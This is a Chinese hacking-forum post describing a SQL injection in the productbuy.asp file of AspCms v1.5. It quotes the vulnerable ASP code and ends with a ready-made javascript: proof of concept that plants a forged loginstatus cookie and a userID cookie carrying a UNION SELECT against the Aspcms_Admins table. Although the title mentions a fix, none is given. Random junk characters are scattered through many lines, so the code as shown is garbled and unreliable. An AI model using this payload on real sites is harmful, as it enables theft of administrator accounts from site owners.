AspCms_v1.5_20110517 SQL注射漏洞及修复

admin

好久没上土司了，上来一看发现在删号名单内.....
也没啥好发的，前些天路过某个小站，用的AspCms这个系统，搜索了下，productbuy.asp这个文件存在注射，但是目标已经修补....下载了代码，很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞，但是就在同一个文件下面找到了注射漏洞。。。。。。。
4 X: x* M8 V$ S" E' {废话不多说，看代码：
7 n. J" q' Z) n$ X. d  H$ M
: `9 \; L  x0 S5 s0 S8 j5 |  f  u<%
  k* t0 ]: Q0 l& _2 s* @: V2 Z
% c% D* s% B) E: T% a( Eif action = "buy" then
% R: ?; _) ?7 s" p
9 m8 O, S5 A, ?6 b        addOrder()

% g; g; G4 q% y) k6 k, ]$ Qelse

        echoContent()

: N: s7 c5 [) X( l3 y1 Bend if
- }/ K8 R7 U- Y2 _+ ?) _
" v! l+ ^! R7 z2 L1 M

……略过
2 j! H: F1 L6 o4 s! |
: x+ R, ^6 F3 d: n4 u/ _8 \

Sub echoContent()
* H5 c7 P" m, `0 l% w; M# \8 O8 H
        dim id

        id=getForm("id","get")
! a, S5 f6 n7 K$ U
        
6 v" \/ z5 Q9 K0 J2 o/ t
5 j  l  j* o/ z: g/ u/ ^$ G, e7 M        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品！","-1"
) Z6 k2 {1 q, o# m" B
- M3 G8 g; i' s' h7 j4 u+ a% J        
2 p+ A& y+ M' h3 k# x/ s! H$ s* k
5 S( Z# o# t2 C        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
* X7 Y; v; z9 b1 R
        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct

        Dim templatePath,tempStr
0 r; j0 o+ L. X, F, m0 l
        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"


9 c. z8 x7 o1 o4 o
        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")
3 [6 [! j% J1 F6 P
. R8 s' f% ?4 B3 ?' L        selectproduct=rsObj(0)

        

        Dim linkman,gender,phone,mobile,email,qq,address,postcode
# l, T/ d: z/ y6 c* q" l' m8 U
        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0
$ v* S( ?# ?( k9 Y
# {$ r8 B$ D* M; g  y3 Z" |0 E8 b        if rCookie("loginstatus")=1 then  

                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")

3 s: a, K) x: @1 U                linkman=rsObj("truename")

. }; e$ S$ \! }4 H                gender=rsObj("gender")

                phone=rsObj("phone")
6 i' f0 f& B! o# _4 }
% ^& z; V2 `" c                mobile=rsObj("mobile")

. p1 z4 K  b4 m2 j& ~2 y% @, N3 ^                email=rsObj("email")

                qq=rsObj("qq")

                address=rsObj("address")
* u- M) E5 H& Q4 O. i. m* r) i
                postcode=rsObj("postcode")

1 v2 k% J5 m0 w        else

! p, N. `2 q" b! r, U. }  s- H                gender=1
4 B4 k, N4 S+ |8 B: ^
" b0 M0 C* b2 D8 m) W' e        end if

9 s, A8 y3 A: V" h8 w9 \        rsObj.close()

               

, L0 W+ w5 S& H        with templateObj
0 u$ ^* h' ^5 \; T3 m- _: a
" L3 ]+ r5 g6 K  d7 f                .content=loadFile(templatePath)        

; W# \- a1 E0 X9 i" p$ p3 O                .parseHtml()

                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)

                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               

* r* c- K! _, U, t- F                .content=replaceStr(.content,"[aspcms:gender]",gender)               
2 i* k- R( s5 O% H2 o
                .content=replaceStr(.content,"[aspcms:phone]",phone)               

9 ^4 t7 n& {- P9 e! x8 S/ \/ V                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               

                .content=replaceStr(.content,"[aspcms:email]",email)                        
8 \, U& c, A( M- g) J& X3 s
: f- [7 u5 F+ L: u                .content=replaceStr(.content,"[aspcms:qq]",qq)                        

1 V: ^4 f+ x0 V" d                .content=replaceStr(.content,"[aspcms:address]",address)                        
5 p/ w1 U/ u" l' {2 G2 p0 A7 Y
                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        

( `9 b# v$ I! v                .parseCommon()                 
" i# ]& ]2 O( N- q
" n- g' ~, t1 G. L                echo .content
+ l" d2 s0 [# C# D0 }3 ^
0 @& o5 J( ^( z, f" Q( [        end with

        set templateobj =nothing : terminateAllObjects
$ g) F1 ^* e* Q; y
9 ], v( D( a6 m$ GEnd Sub
# G4 U; f6 G1 j; D+ ~' h! y漏洞很明显，没啥好说的
poc：

  n7 T" e$ J1 H* i6 s9 U+ wjavascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外，脚本板块没权限发帖子​
3 M* w: {0 n: o0 N- G$ {" a" W